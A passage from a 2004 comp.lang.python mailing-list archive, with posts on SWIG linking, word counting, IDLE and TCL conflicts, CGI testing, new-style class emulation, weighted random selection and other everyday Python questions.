QListViewItemNumeric_wrap.cxx 

And linked both together with qt:

$ gcc -shared QListViewItemNumeric.o QListViewItemNumeric_wrap.o -lqt -o \
_QListViewItemNumeric.so


When I omitted the "-lqt" python import told me:
ImportError: ./_QListViewItemNumeric.so: undefined symbol:
_ZN13QListViewItemC2EP9QListView

which I figured out from the manual means I have to link it against the Qt
library. I am not sure wether "-lqt" is the right thing to do.

However, using the "-lqt" switch I now get a:

>>> import QListViewItemNumeric
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "QListViewItemNumeric.py", line 5, in ?
    import _QListViewItemNumeric
ImportError: ./_QListViewItemNumeric.so: undefined symbol:
_ZTV20QListViewItemNumeric


Can anyone help me over these first steps of using swig?

Thanks
Uwe


From ptmcg at users.sourceforge.net  Thu Feb 12 11:23:20 2004
From: ptmcg at users.sourceforge.net (Paul McGuire)
Date: Thu, 12 Feb 2004 16:23:20 GMT
Subject: Word count from file help.
References: <oiAWb.9926$jk2.28236@attbi_s53>
	<HENWb.8393$ng6.3610@fe2.texas.rr.com>
Message-ID: <YLNWb.8432$ng6.8061@fe2.texas.rr.com>

Oops, sorry, forgot to mention that this requires downloading pyparsing at
http://pyparsing.sourceforge.net.

"Paul McGuire" <ptmcg at users.sourceforge.net> wrote in message
news:HENWb.8393$ng6.3610 at fe2.texas.rr.com...
> "jester.dev" <jester.dev at comcast.net> wrote in message
> news:oiAWb.9926$jk2.28236 at attbi_s53...
> > Hello,
> >
> >         I'm learning Python from Python Bible, and having some
> > problems with this code below. When I run it, I get nothing. It
> > should open the file poem.txt (which exists in the current
> > directory) and count number of times any given word appears
> > in the text.
> >
> Try this:
>
> # wordCount.py
> #
> # invoke using:   python wordCount.py  <filename>
> #
> from pyparsing import Word, alphas
> import sys
>
> # modify this word definition as you wish - whitespace is implicit
separator
> wordSpec = Word(alphas)
>
> if len(sys.argv) > 1:
>     infile = sys.argv[1]
>
>     wordDict = {}
>     filetext = "\n".join( file(infile).readlines() )
>     for wd,locstart,locend in wordSpec.scanString(filetext):
>         curWord = wd[0].lower()
>         if wordDict.has_key( curWord ):
>             wordDict[curWord] += 1
>         else:
>             wordDict[curWord] = 1
>
>     print "%s has %d different words." % ( infile, len(wordDict.keys()) )
>     keylist = wordDict.keys()
>     keylist.sort( lambda a,b:
>                     ( wordDict[b] - wordDict[a] ) or
>                     ( ( ( a > b ) and 1 ) or ( ( a < b ) and -1 ) or 0 ) )
>     for k in keylist:
>         print k, ":", wordDict[k]
>
>




From rmb25612 at yahoo.com  Sun Feb 22 15:17:56 2004
From: rmb25612 at yahoo.com (Richard James)
Date: 22 Feb 2004 12:17:56 -0800
Subject: Idle won't start
References: <ecebe16b.0312141050.4a10fbba@posting.google.com>
	<8eh830tlh056hk21hm9v49m3qcinjv4pq9@4ax.com>
Message-ID: <2c60f0e0.0402221217.644b79e7@posting.google.com>

David MacQuigg <shuvit at 127.0.0.1> wrote in message news:<8eh830tlh056hk21hm9v49m3qcinjv4pq9 at 4ax.com>...
> On 14 Dec 2003 10:50:29 -0800, kmneilso at yahoo.com (Kerry Neilson)
> wrote:
> This might be a different problem if your problem is truly
> intermittent, but I am finding that IDLE has conflicts with other
> installed programs.  I have been running Python 2.3 under Windows
> XP-Home with no problem for the last few months.  Yesterday I
> installed Ruby 1.8.1-11 and now IDLE won't start.  No response to
> clicking the icon, selecting the menu item,  Nada.  Removing Ruby
> restores IDLE.
> 
> With Ruby installed, when I run IDLE from a command line
> C:\Python23\Lib\idlelib>idle.py
> I get a message:
> """
> _tkinter.TclError: Cant find a usable init.tcl in the following
> directories:  <c:\ruby\tcl\lib\tcl8.3> <c:\ruby\tcl\lib\tcl8.3>
> c:/ruby/tcl/lib/tcl8.4  C:/Python23/lib/tcl8.4  C:/lib/tcl8.4
> C:/library
> This probably means that Tcl wasn't installed properly.
> """
> I have no idea why IDLE is looking for library routines in the Ruby
> subdirectories, or why all the strange variations in the search path
> above, but it is clear that Ruby and IDLE cannot co-exist on one
> computer.
> 
> Note:  Re-installing Python23 after Ruby is installed doesn't help.
> You have to remove Ruby completely.
> 
> -- Dave

The Ruby Windows Installer adds the following to your autoexec.bat
file.

--------

REM Ruby Install -- do not edit this line
set TCL_LIBRARY=c:\ruby\tcl\lib\tcl8.3
set RUBY_TCL_DLL=c:\ruby\bin\tcl83.dll
set RUBY_TK_DLL=c:\ruby\bin\tk83.dll
set PATH="c:\ruby\bin;%PATH%"
REM Ruby Install -- do not edit this line

---------

The key to the "problem" is in how TCL works. With the above
statements in your autoexec.bat file. Every time your computer boots,
the TCL_LIBRARY environment variable is set to the Ruby version.

When Python Idle runs TCL, TCL uses the TCL_LIBRARY environmental
variable to locate the "correct" version of the TCL library to use.
TCL is doing what it is designed to do. And Ruby is using a legal TCL
method to set it's path.

With that Ruby version installed, Ruby uses an old TCL version that
won't work with Python 2.3! When Ruby and Python distributions use the
same version of TCL, Idle will work fine.

I hate programs that change your autoexec.bat file "behind your back"
because of hard to understand problems just like this one.

Sometimes the uninstall doesn't work right and your autoexec.bat file
still sets TCL_LIBRARY to an old version even after Ruby is "removed".

Other third party software packages also could be setting TCL_LIBRARY
in the autoexec.bat file. I've also read that the TK_LIBRARY
environmental variable can cause problems as well.

Because of quirky TCL problems like this one, I've quit using TCL and
TK and use Gui4Cli and it's optional g4c.pyd Python dll for quick one
of a kind Python MS Windows programs. Gui4Cli is a script language
that makes native MS Windows GUI's very simple to create. You can also
use Gui4Cli to put a Windows GUI on dos command line programs or
integrate it with your C/C++ programs.

http://www.gui4cli.com

I like using the WSciTE editor from the Scintilla project.

http://www.scintilla.org/SciTE.html

You type your Python code in the editor window, Press F5, and it
displays your Python program output in a second window.
(You insert temporary print statements to "debug" your code.)

-- R.J


From bkelley at wi.mit.edu  Sat Feb 14 12:07:46 2004
From: bkelley at wi.mit.edu (Brian Kelley)
Date: Sat, 14 Feb 2004 17:07:46 GMT
Subject: Table Oriented Programming
In-Reply-To: <102sb35n31uiq23@news.supernews.com>
References: <mailman.2.1076613028.31398.python-list@python.org>
	<102nomqgcceleac@news.supernews.com>
	<102o6ost5a80re8@corp.supernews.com>
	<102sb35n31uiq23@news.supernews.com>
Message-ID: <402E57B2.9050904@wi.mit.edu>

John Roth wrote:
>>Notable contributor Jean-Claude Wippler is just now releasing some
>><URL: http://www.equi4.com/pipermail/starkit/2004-February/001829.html >
>>of his implementations in the area of relational algebra.
> 
> 
> It's in TCL. Sigh.

Be assured that Wippler targets every language he can.  I can't give too 
many details because I promised not to, but python will work on the 
finished system and, in fact, will be a first-class language target. 
I'm including Jean-Claude in this discussion, btw, incase he wants to 
add anything.

Metakit itself is relational algebra based on columns, it just happens 
to be more database like.  I'm have been using it to perform most of the 
rattcl operations mentioned above, I just have a thin wrapper to create 
the table structure around metakit.  Gordon McMillan even has support to 
"wrap" any python sequence as a metakit view and viola - you have all 
the relational algebra support you want.  Set operations, ordering, 
joins, selects, filters...  I've been so impressed by the underlying 
technology that I'm thinking about writing a small book/tutorial on 
metakit-specific relational algebra.

On top of that, Wippler and I have a metakit-server project using the 
metakit structure as a wire protocol to send full or partial database 
information across a socket.  This is language independent so you can 
send databases to python/C++/java etc.  You can think of it as a sort of 
a cross-platform database marshaller.  If any one is interested, gunniea 
pigs are always welcome.

Metakit is incredibly powerful, by the way.  I have successfully used 
metakit to form cross-database sql queries using it as the relational 
algebra engine to combine SQL queries from Oracle and Mysql for 
instance.  So if you want to dip your toes in relational algebra, start 
playing with metakit, it is way more than a database.

Brian
Whitehead Institute for Biomedical Research



From peter at engcorp.com  Thu Feb 19 19:07:20 2004
From: peter at engcorp.com (Peter Hansen)
Date: Thu, 19 Feb 2004 19:07:20 -0500
Subject: Why import only at module level?
References: <7xoervxwxt.fsf@ruckus.brouhaha.com>
	<4034D771.9AE85ECB@engcorp.com>
	<mailman.80.1077217602.27104.python-list@python.org>
	<40353FC2.2A0C604A@engcorp.com>
	<mailman.87.1077234174.27104.python-list@python.org>
Message-ID: <40354FB8.3DBE73E0@engcorp.com>

Fran?ois Pinard wrote:
> 
> [Peter Hansen]
> > More coupling means less maintainability.
> 
> On the other hand, the location of `import' has no effect on the amount
> of coupling.

I think I can make a good argument that it does.  Try this on for size:
if the import of module B is in several methods of module A, then each of 
those methods is directly coupled to module B.  You've got several 
instances of coupling.  Now move the duplicate imports up to the top
of module A.  Each method is now coupled only to module A, which of
course all methods in that module are, but only module A has any 
coupling to module B.

When I analyze coupling, I consider the links to have both strength 
and quantity.  Generally a reduction in quantity is just as useful
as a reduction in strength of coupling, IME.

> > Second reason: if you put your import, which you use in only one
> > place, locally in the method where it's used, then modify the code so
> > that another method also uses the module, you will end up with two
> > imports.  More duplication means less maintainability.
> 
> Maybe not.  I may have many functions each having a local counter, and
> despite all the duplication, using a single global counter instead would
> not imply more maintainability.  Locality (of definition and use) is
> often best for maintainability, even if it means random duplication.

Unfortunately you lost me with the example.  I can't see the connection
between having separate local counters and a single global counter, 
since presumably the logic requires either one or the other.  (I trust
you had a valid point but I missed it, sorry.)

> There is no definitive rule about what is good or bad, and this is where
> good taste comes in, which turns all this program writing into an art!

Very true of course, as with all design.

-Peter


From skip at pobox.com  Sun Feb 29 16:30:20 2004
From: skip at pobox.com (Skip Montanaro)
Date: Sun, 29 Feb 2004 15:30:20 -0600
Subject: Best way to create a Dictionary from file of Key-Value pairs?
In-Reply-To: <692feddd.0402291222.6f2d619e@posting.google.com>
References: <692feddd.0402291222.6f2d619e@posting.google.com>
Message-ID: <16450.23020.872758.902460@montanaro.dyndns.org>


    Equis> Assume I'm given a 100k file full of key-value pairs:

    Equis> date,value
    Equis> 26-Feb-04,36.47
    Equis> 25-Feb-04,36.43
    Equis> 24-Feb-04,36.30
    Equis> 23-Feb-04,37.00
    Equis> 20-Feb-04,37.00
    Equis> 19-Feb-04,37.87

    Equis> What is the best way to copy this data into a Dictionary object?

Maybe overkill, but you have a csv file.  I'd use the csv module (new in
2.3):

    import csv

    d = {}
    rdr = csv.DictReader(file("source-file"))
    for row in rdr:
        d[row["date"]] = row["value"]

Skip



From sridharinfinity at yahoo.com  Sat Feb  7 21:05:19 2004
From: sridharinfinity at yahoo.com (Sridhar R)
Date: 7 Feb 2004 18:05:19 -0800
Subject: efficient way for building class browsers.
Message-ID: <930ba99a.0402071805.15b90424@posting.google.com>

I am looking for a class browser that has these features.

   1. Given a symbol (class, method or function) it should giveback
the lineno n source code
   2. It should be efficient and quick.

I looked at the `pyclbr` module, but it's slower.  I will be _often_
regenerating the symbols from exactly one python source file.  But for
an average python script in my machine it takes 2 secs for pyclbr to
build the dictionary of symbols.

When I profiled pyclbr, I found that most of the time was spent on the
tokenize.get_token** functions, and the remaining time was spent on
pyclbr._readmodule function.

Remember I need a class browser, that also tells me the line no in
source code of that symbol. (So compiler module  (ast) can't be used -
Is it so? )

Are there any better ways for achieving this?


From fumanchu at amor.org  Tue Feb 10 12:18:35 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Tue, 10 Feb 2004 09:18:35 -0800
Subject: unit testing CGI scripts?
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D16@opus.amorhq.net>

Jim Hefferon wrote:
> Does anyone have suggestions for unit testing CGI scripts?  For
> instance, how can I set the FieldStorage to have certain values?
> Do I have to go with a dummy FieldStorage class?  And is there a
> better way to check the output than to compare the resulting 
> (sometimes very large) strings?  Changing the HTML slightly means
> that I have to edit the tests and that defeats the purpose of the
> tests, to some extent.  I'd greatly appreciate any tips.

There have been several times when I've needed to not only unit test,
but actually pull out a debugger for a CGI script. Both of these were
made possible by abstracting the UI from the rest of the code, as I
described at:
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/225299

Having the UI isolated in this way allows me to write a third UI which
pretends to be a webserver, but which I can load with my own "client
requests" (some details may be different from the (older) recipe, but
you get the idea):

import re
from HTMLParser import HTMLParser
from cgi import parse_qs

import dejavu
from dejavu.html import uihtml


class UserInterfaceHTMLDebug(uihtml.UserInterfaceHTML):
    """Create an interface imitating a CGI interface.
    
    Use this interface to test or debug (step through) dejavu code,
    acting as if the requests were coming from a web browser.
    
    For example:
    
    ns = dejavu.Namespace()
    cfgs = r'C:\data\default.conf, C:\data\myapp.conf'
    ui = UserInterfaceHTMLDebug(cfgs, ns, 'rbre')
    print ui.request('http://localhost/myapp/index.htm', 'ID=300')
    ID = ui.responses[-1].form_elements()['ID']['value']
    """
    
    responses = None
    
    def __init__(self, configFileNames, namespace, user=''):
        
        # Set response hook.
        self.responses = []
        
        # Set standard properties.
        self.protocol = u'https'
        self.port = 80
        self.hostname = u'localhost'
        self.physicalPath = u''
        self.user = user
        self.path = u'/'
        self.script = u''
        
        config = {u'Dispatch': {u'pattern':
r'%(AppURLRoot)s/(.*)\.htm$',
                                u'repl': r'%(\1)s'},
                  u'Dispatches': {u'default' :
u'dejavu.html.default.homepage',
                                  u'-Error':
u'dejavu.html.uihtml.error'},
                  u'ConfigFiles': configFileNames,
                  }
        self.load(config)
    
    def request(self, script, params='', newUser=None):
        """Request a page (calls dispatch())."""
        
        atoms = script.split(u"/")
        self.script = atoms.pop()
        self.path = u"/".join(atoms)
        self.physicalPath = u''
        if newUser is not None:
            self.user = newUser
        
        self.set_params(params)
        retVal = self.dispatch()
        return '%s/%s: %s' % (self.path, self.script, retVal)
        
    def set_params(self, queryString):
        """Parse CGI params into a paramset."""
        self.requestParams.flush()
        inParams = parse_qs(unicode(queryString), True, False)
        for eachName, eachValue in inParams.items():
            for eachSubValue in eachValue:
                self.requestParams.add_param(eachName, eachSubValue)
    
    def write(self, textToOutput, doMarkUp=False):
        if doMarkUp:
            textToOutPut = self.mark_up_for_output(textToOutPut)
        self.responses.append(Response(textToOutput.encode("UTF-8")))


class Response(unicode):
    """A web page response. This is a unicode string with extra
methods."""
    
    def __repr__(self):
        return u'<uidebug Response object>'
    
    def elements(self, parser):
        return parser.get_elements(self)
    
    def form_elements(self):
        elems = FormElementParser('input').get_elements(self)
        elems.extend(FormElementParser('select').get_elements(self))
        return elems


class DejavuParser(HTMLParser):
    elements = {}
    tagType = u''
    
    def __init__(self, tagType=''):
        HTMLParser.__init__(self)
        self.elements = {}
        self.tagType = tagType
    
    def get_elements(self, input):
        self.feed(input)
        self.close()
        return self.elements


class FormElementParser(DejavuParser):
    def handle_starttag(self, tag, attrs):
        if tag == self.tagType:
            attrs = dict(attrs)
            if 'name' in attrs:
                attrTable = dict([(key, value) for key, value
                                  in attrs.iteritems() if key !=
'name'])
                self.elements[attrs['name']] = attrTable


Best investment I ever made, breaking out the UI like that. Hope it at
least gives you some ideas.

To Dutin Lee: the same can be said for database access, only it's more
complicated. I use an abstract StorageManager, with subclasses for ADO,
ODBC, etc.. including a subclass just for debugging. To some extent, it
depends on how large your project is; i.e., whether such an investment
will pay off.


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From martin at v.loewis.de  Mon Feb  9 02:04:24 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 09 Feb 2004 08:04:24 +0100
Subject: Tix on Windows
In-Reply-To: <40272eda$0$5224$afc38c87@news.optusnet.com.au>
References: <40272eda$0$5224$afc38c87@news.optusnet.com.au>
Message-ID: <c07bdn$cqg$05$1@news.t-online.com>

Sam wrote:
> Just wondering if there's any chance of a Tix implementation for the 
> Windows version of Python in upcoming releases of Python?

If all goes well, Python 3.4 will ship with Tix.

Regards,
Martin



From llothar at web.de  Thu Feb  5 14:48:54 2004
From: llothar at web.de (Lothar Scholz)
Date: 5 Feb 2004 11:48:54 -0800
Subject: where does Python stand?
References: <d99e1341.0402050505.226a01c8@posting.google.com>
Message-ID: <6ee58e07.0402051148.25add90e@posting.google.com>

crescent_au at yahoo.com (Ben) wrote in message news:<d99e1341.0402050505.226a01c8 at posting.google.com>...
> Hi all!
> 
> I learned Python as part of my university coursework... I enjoyed it.
> Now I'm just wondering how Python compares with asp, jsp, php and what
> not?? I don't have slightest knowledge about these languages... Are
> they more advanced than Python? Can Python be integrated with
> Dreamweaver?
> 

They are different and so a comparision does not make sense.

You want a comparison about web frameworks/templates like Cheeta,
Python Server Pages, Draco Server Pages, Sypce or whatever is out
there right ?


From noemail at noemail4u.com  Wed Feb  4 14:22:30 2004
From: noemail at noemail4u.com (Dang Griffith)
Date: Wed, 04 Feb 2004 19:22:30 GMT
Subject: an ingrate newbie complains
References: <3Q9Ub.390497$JQ1.351833@pd7tw1no>
	<bvrem4$vrr$03$1@news.t-online.com>
Message-ID: <b659da96daef1eb365df3fcbd5f7ca91@news.teranews.com>

On Wed, 04 Feb 2004 19:46:28 +0100, Peter Otten <__peter__ at web.de>
wrote:

>> That kind of syntax would be especially welcome in list comprehensions:
>> 
>> [f(x,y) for x in list if y=g(x)<=0]
>> 
>> If g(x) is a fairly complicated expression, and y occurs several times in
>> f(x,y), considerable clarity could be gained.
>
>Is the above list comprehension that frequent? Then how about
>
>[f(x, y) for x, y in [(x, g(x)) for x in lst] if cond(y)]
>
>With the arrival of generator expressions, some of the overhead (the
>intermediate list) is bound to go away. In the mean time, there's still
>that good old for loop, which IMHO is still the most readible solution if
>things get really complicated.

I couldn't get your example to run.

If g is a generator expression, this works for me:

[f(x, y) for x in lst for y in g(x) if cond(y)]

Elaine?  Readable enough?

    --dang
p.s.
>>> def f(x, y):
...     return '%d%d' % (x, y)
...
>>> def g(x):
...     yield 2 * x
...
>>> def cond(y):
...     return y % 10 == 2
...
>>> lst = range(10)
>>> print [f(x, y) for x in lst for y in g(x) if cond(y)]
['12', '612']



From feb04.20.netman at spamgourmet.com  Sat Feb 28 11:44:21 2004
From: feb04.20.netman at spamgourmet.com (Chris)
Date: Sat, 28 Feb 2004 16:44:21 GMT
Subject: Type emulation issues with new style classes
References: <C0%%b.4538$qX5.249@nwrdny03.gnilink.net>
	<5cac69b0da18e0271a10151097ca539c.46955@mygate.mailgate.org>
Message-ID: <Fz30c.7220$TF2.5832@nwrdny02.gnilink.net>

I need to have Python call the the emulation methods for numbers, lists,
etc, when those methods are provided though __getattr__ rather than defined
in the instance or class __dict__.  I've been up and down PEP 252 trying to
determine how Python determines the presence or absence of emulation methods
for new style classes, but I'm not having any luck.

"Carmine Noviello" wrote:
> class Z(object):
>     value = 42
>     def __hasattr__(self, name):
>         if name == '__int__':
>             return True
>     def __int__(self):
>         return self.value
>
>
> Umm, maybe I haven't understood what you need.

I need to know how I can do what I previously demonstrated with an old style
class, that is hook into Python's introspection mechanism to dynamically
provide an  __int__ method (or optionally __str__, __lt__, __le__, __eq__
,__ne__, __gt__, __ge__, __len__, __getitem__, __add__, __sub__, __mul__,
__floordiv__, __mod__, __divmod__, __pow__, __lshift__, ... ad nausuem).
Old style classes will let me do this, but I cannot determine how to do this
with new style classes.

Chris




From rogerb at rogerbinns.com  Tue Feb 24 00:57:55 2004
From: rogerb at rogerbinns.com (Roger Binns)
Date: Mon, 23 Feb 2004 21:57:55 -0800
Subject: xmlprclib/server not reusing connections
References: <spv8g1-fev.ln1@home.rogerbinns.com><mailman.6.1077573113.8594.python-list@python.org><nfgqg1-gh4.ln1@home.rogerbinns.com>
	<mailman.24.1077596109.8594.python-list@python.org>
Message-ID: <tn5rg1-986.ln1@home.rogerbinns.com>

> You might have better luck with Twisted http://twistedmatrix.com/.

I did look at twisted but really don't like it.  In particular I really
don't like the event driven code, that has to add callbacks and
deal with partial state when called.

That is certainly the right way to do things if you want to avoid
using threads.  It is however complicated and convoluted.  See this
example:

http://twistedmatrix.com/documents/howto/tutorial#auto20

The model I far prefer is to use multiple threads (available on all
major Python platforms) and use worker threads with work queues.
They turn out to be simpler since they don't have queue callbacks
or effectively be a glorified state machine scattered across
several functions.

> Glancing at that, it looks like using Twisted to implement that would be a
> lot easier, and shorter.

Except it wouldn't unless twisted already had the necessary functionality
which it doesn't.  I would have to go through a similar exercise with
twisted, which is far more complicated.

Roger




From bart_nessux at hotmail.com  Sun Feb 29 15:28:53 2004
From: bart_nessux at hotmail.com (Bart Nessux)
Date: Sun, 29 Feb 2004 15:28:53 -0500
Subject: Speed Comparison Perl Python & C
References: <c1t89m$a3u$1@solaris.cc.vt.edu>
	<3cc440pv69tnpqdqb13dpfogra4m5bj3p8@4ax.com>
Message-ID: <c1tht5$3ug$2@solaris.cc.vt.edu>

Dennis Lee Bieber wrote:

> On Sun, 29 Feb 2004 12:44:51 -0500, Bart Nessux
> <bart_nessux at hotmail.com> declaimed the following in comp.lang.python:
> 
>> Just fooling around this weekend. Wrote and timed programs in C, Perl and
>> Python. Each Program counts to 1,000,000 and prints each number to the
>> console as it counts. I was a bit surprised. I'm not an expert C or Perl
>> programming expery, I'm most familiar with Python, but can use the others
>> as well.
>> 
>> Here are my results:
>> 
>> C = 23 seconds
>> Python = 26.5 seconds
>> Perl = 34.5 seconds
>> 
> Given that the slowest part of those programs is the conversion
> from internal integer to printable format, followed by the actual I/O
> operation... and that, at the lowest level, Python uses the C I/O
> libraries, that isn't too surprising. All you've shown is the overhead
> on top of the C I/O system.
> 
> You might want to read
> 
> http://www.pythonsoft.com/empirical_data.pdf
> 
> (Took me a while to find that -- the original author's site seems to
> have closed down)
> 
> --
>  > ============================================================== <
>  >   wlfraed at ix.netcom.com  | Wulfraed  Dennis Lee Bieber  KD6MOG <
>  >      wulfraed at dm.net     |       Bestiaria Support Staff       <
>  > ============================================================== <
>  >           Home Page: <http://www.dm.net/~wulfraed/>            <
>  >        Overflow Page: <http://wlfraed.home.netcom.com/>        <

Thanks for the link, looks like a good read.



From paul at fxtech.com  Wed Feb 11 14:44:27 2004
From: paul at fxtech.com (Paul Miller)
Date: Wed, 11 Feb 2004 13:44:27 -0600
Subject: using the zipimporter module from my own C code?
In-Reply-To: <402A8744.5090609@inverisa.net>
References: <402A8744.5090609@inverisa.net>
Message-ID: <6.0.1.1.2.20040211134302.04cb9ec0@mail.fxtech.com>

I'm starting to use the nifty 2.3 feature where modules can be bundled into 
.zip files. I'd like to bundle additional (text) data files in the same zip 
file, and load them in my C code.

Since my Python interpreter is embedded, I was wondering if it is possible 
to get access to the zipimporter module and essentially "load" one of my 
data files using the zipimporter directly.

Has anyone done this, and if so, can you post some sample code on doing this?





From sean_berry at cox.net  Thu Feb 26 16:12:03 2004
From: sean_berry at cox.net (Sean Berry)
Date: Thu, 26 Feb 2004 15:12:03 -0600
Subject: Simple question for all of you python gurus
Message-ID: <NYu%b.12366$qL1.145@fed1read02>

I am writing a little script to grep through a really long list of files and
look for a certain phrase.

I wanted to do something like this.

li = os.popen("/usr/bin/grep -i %s /home/%s/.tmda/pending" %(phrase,userid)
lis = li.readlines()
blah blah blah...

but even if I run this from the command line I get an error saying the
argument list is too long.

However, if I cd to /home/userid/.tmda/pending and then run the grep from
within the directory... it works great.

so I tried to do something like this
os.system("cd /home/%s/.tmda/pending" %userid)
li = os.popen("/usr/bin/grep -i %s" %phase)
lis = lis.readlines()

But since cd is a shell command, it does not seem to work either.

How can I do this?
Thanks in advance for answering this seemingly easy question.





From jcosby at nospam.net  Tue Feb 24 09:57:06 2004
From: jcosby at nospam.net (Jon Cosby)
Date: Tue, 24 Feb 2004 14:57:06 GMT
Subject: Python scripts in IIS
References: <LIr_b.5246$yZ1.386@newsread2.news.pas.earthlink.net>
	<403A5840.CE02049@engcorp.com>
	<f0u_b.6405$aT1.4998@newsread1.news.pas.earthlink.net>
	<403A7103.7F1CE0D8@engcorp.com>
	<aHv_b.6560$aT1.3079@newsread1.news.pas.earthlink.net>
	<Xns949954A8E8DA6sdfexpertunecom@216.168.3.44>
Message-ID: <6DJ_b.7904$aT1.2403@newsread1.news.pas.earthlink.net>


"Scott F" <sdfATexpertuneDOTcom> wrote
>
> >
> > Sorry. It's in the browser window. The script does not execute. I
> > have "Show friendly http error messages" set to false in Internet
> > Explorer. As it happens on all of the scripts, I can't single out
> > one command. I have ActiveState's build of Python 2.3, and don't
> > recall running into this previously, but there might be something
> > in the IIS configuration I'm overlooking.
>
> Go to the Properties of the (Default) Web site, Home Directory tab,
> Configuration button.  On the Mappings tab, add a mapping for Python in
> the form
>
> <pathtopython>\python.exe %s %s
>
> Use your actual pathtopython and don't substitute anything for %s %s.
>
> Should work fine.
>
Thanks. I had left out the trailing arguments. What is "%s" for, anyway?

Jon




From rmkrauter at yahoo.com  Thu Feb  5 08:34:19 2004
From: rmkrauter at yahoo.com (Rich Krauter)
Date: Thu, 05 Feb 2004 08:34:19 -0500
Subject: Print function and spaces
In-Reply-To: <bvtfop$vs5l8$1@ID-111250.news.uni-berlin.de>
References: <mailman.1237.1075981181.12720.python-list@python.org>
	<pan.2004.02.05.14.09.33.415528@mavd.de>
	<bvtfop$vs5l8$1@ID-111250.news.uni-berlin.de>
Message-ID: <1075988058.4424.82.camel@vaio>

> Is there a good way to stop the space being automatically 
> generated, or am I
> going to have to write a blank string to standard output, like the >
manual mentions?

You can try the write() method of file-like objects: 
 
import sys
sys.stdout.write('%s test\n'%'This is a')

print is a convenience, not necessarily a fine-grained formatting tool
from what I understand.

Rich

On Thu, 2004-02-05 at 08:17, Diez B. Roggisch wrote:
> > def PrintWithoutSpaces(*args):
> >     output = ""
> >     for i in args:
> >         output = output + i
> >         
> >     print output
> >     
> > 
> > if __name__ == "__main__":
> >     PrintWithoutSpaces("yo", "hello", "gutentag")
> > ---snip----
> > 
> > this prints "yohellogutentag"
> 
> You function won't work on mixed-type args:
> 
> PrintWithoutSpaces("a", 10)
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "<stdin>", line 4, in PrintWithoutSpaces
> TypeError: cannot concatenate 'str' and 'int' objects
> 
> 
> A better way would be this:
> 
> def myprint(*args):
>   print "".join([str(x) for x in args])
> 



From maxm at mxm.dk  Wed Feb  4 07:53:54 2004
From: maxm at mxm.dk (Max M)
Date: Wed, 04 Feb 2004 13:53:54 +0100
Subject: Smarter way of doing this?
In-Reply-To: <401f53ad$0$287$edfadb0f@dread12.news.tele.dk>
References: <401e4d57$0$295$edfadb0f@dread12.news.tele.dk>
	<cab22418.0402021554.95d2f3b@posting.google.com>
	<401f53ad$0$287$edfadb0f@dread12.news.tele.dk>
Message-ID: <4020eb47$0$271$edfadb0f@dread12.news.tele.dk>

Max M wrote:

> Jim Jewett wrote:

> I finally chose a combination of the suggested approaches, and ended up 
> with something I find is both more functional and nicer to look at than 
> my first try.


Well, that version had a problem. Whenever a series of values are the 
same bisect() allways selects the first one. So I never got a 
statistical valid sample of elements.

I solved it by using acumulated probabilities instead. So the final 
version is here, if anybody cares.

I used it in a Markov chain class, that is now pretty fast.

regards Max M



#########################

from random import random, randint
from bisect import bisect


class Selector:

     "Returns random elements by probability"

     def __init__(self, probabilities, elements):
         self.sum = sum(probabilities)
         acumulated_probabilities = []
         acumulated_probability = 0
         for probability in probabilities:
             acumulated_probability += probability
             acumulated_probabilities.append(acumulated_probability)
         self.decorated = zip(acumulated_probabilities, elements)
         self.decorated.sort()

     def get(self):
         "Randomly returns an element by probability"
         rnd = random() * self.sum
         index = bisect(self.decorated, (rnd, 0))
         self.decorated[index][-1]
         return self.decorated[index][-1]

     def get_range(self, n):
         "Randomly returns a range of elements by probability"
         return [self.get() for itm in range(n)]





if __name__ == '__main__':


     probabilities = [1.0, 0.5, 0.25, 0.125, 0.0625]
#    probabilities = [0.1, 0.1, 1.0, 0.1, 0.1, ]
     elements = ['a', 'b', 'c', 'd', 'e']
     s = Selector(probabilities, elements)
     r = s.get_range(10000)
     r.sort()

     for element in elements:
         print element, r.count(element)


##########
 >>a 5148
 >>b 2594
 >>c 1301
 >>d 654
 >>e 303


From tjreedy at udel.edu  Fri Feb  6 13:20:57 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 6 Feb 2004 13:20:57 -0500
Subject: counting references to an instance
References: <mailman.1273.1076022530.12720.python-list@python.org>
	<m34qu45unv.fsf@pc150.maths.bris.ac.uk>
Message-ID: <c00lua$6cb$1@sea.gmane.org>


"Michael Hudson" <mwh at python.net> wrote in message
news:m34qu45unv.fsf at pc150.maths.bris.ac.uk...
> "Delaney, Timothy C (Timothy)" <tdelaney at avaya.com> writes:
>
> > > From: Gerrit
> > > IIRC, Python keeps references of all small integers,
> > > apparantly all smaller than 100.

This should have said "CPython ..." since this is implementation-specific
speedup and not part of the language spec.

> > Actually -1 through to 99.

This was true for CPython 1.4 when I tested.

> Um, this is rank pedantry, but it's -5 to 99...

in the current version (and perhaps since some years)

> >>> (0 - 5) is -5
> True
> >>> (0 - 6) is -6
> False

Message: undocumented implementation features can silently change and
should not be depended on (or expoused) without current verification ;-).

Terry J. Reedy







From trevp at trevp.net  Sat Feb 28 02:15:39 2004
From: trevp at trevp.net (Trevor Perrin)
Date: Fri, 27 Feb 2004 23:15:39 -0800
Subject: Pure Python HTTPS Server
In-Reply-To: <p-CdnfAxKuA3ZqLdRVn-jg@speakeasy.net>
References: <mailman.183.1077835573.8594.python-list@python.org>
	<mailman.208.1077908506.8594.python-list@python.org>
Message-ID: <5.2.0.9.0.20040227231322.03d4de70@pop.sbcglobal.yahoo.com>

At 08:23 PM 2/27/2004 -0600, A.M. Kuchling wrote:

>On Fri, 27 Feb 2004 11:01:08 -0800,
>         Trevor Perrin <trevp at trevp.net> wrote:
> > I'm a little fuzzy about asynch stuff.  I don't think I can emulate a
> > file-descriptor to make it work with select().  What about an interface
> > where you can say "get any available bytes", with no blocking?  Is that on
> > the right track?
>
>The hard part is really the initial negotiation, which has to be
>interruptible in order to avoid making the entire server hang if a client
>disappears during the initial exchange of packets.

Yeah, I see.  I'll try to redo the handshake to support that, and let you 
know how it goes (I'll probably send some questions your way too, if that's 
okay... I'm sorta out of my element here).



> > Are you and Paul still looking at adding ciphers to stdlib?  That would
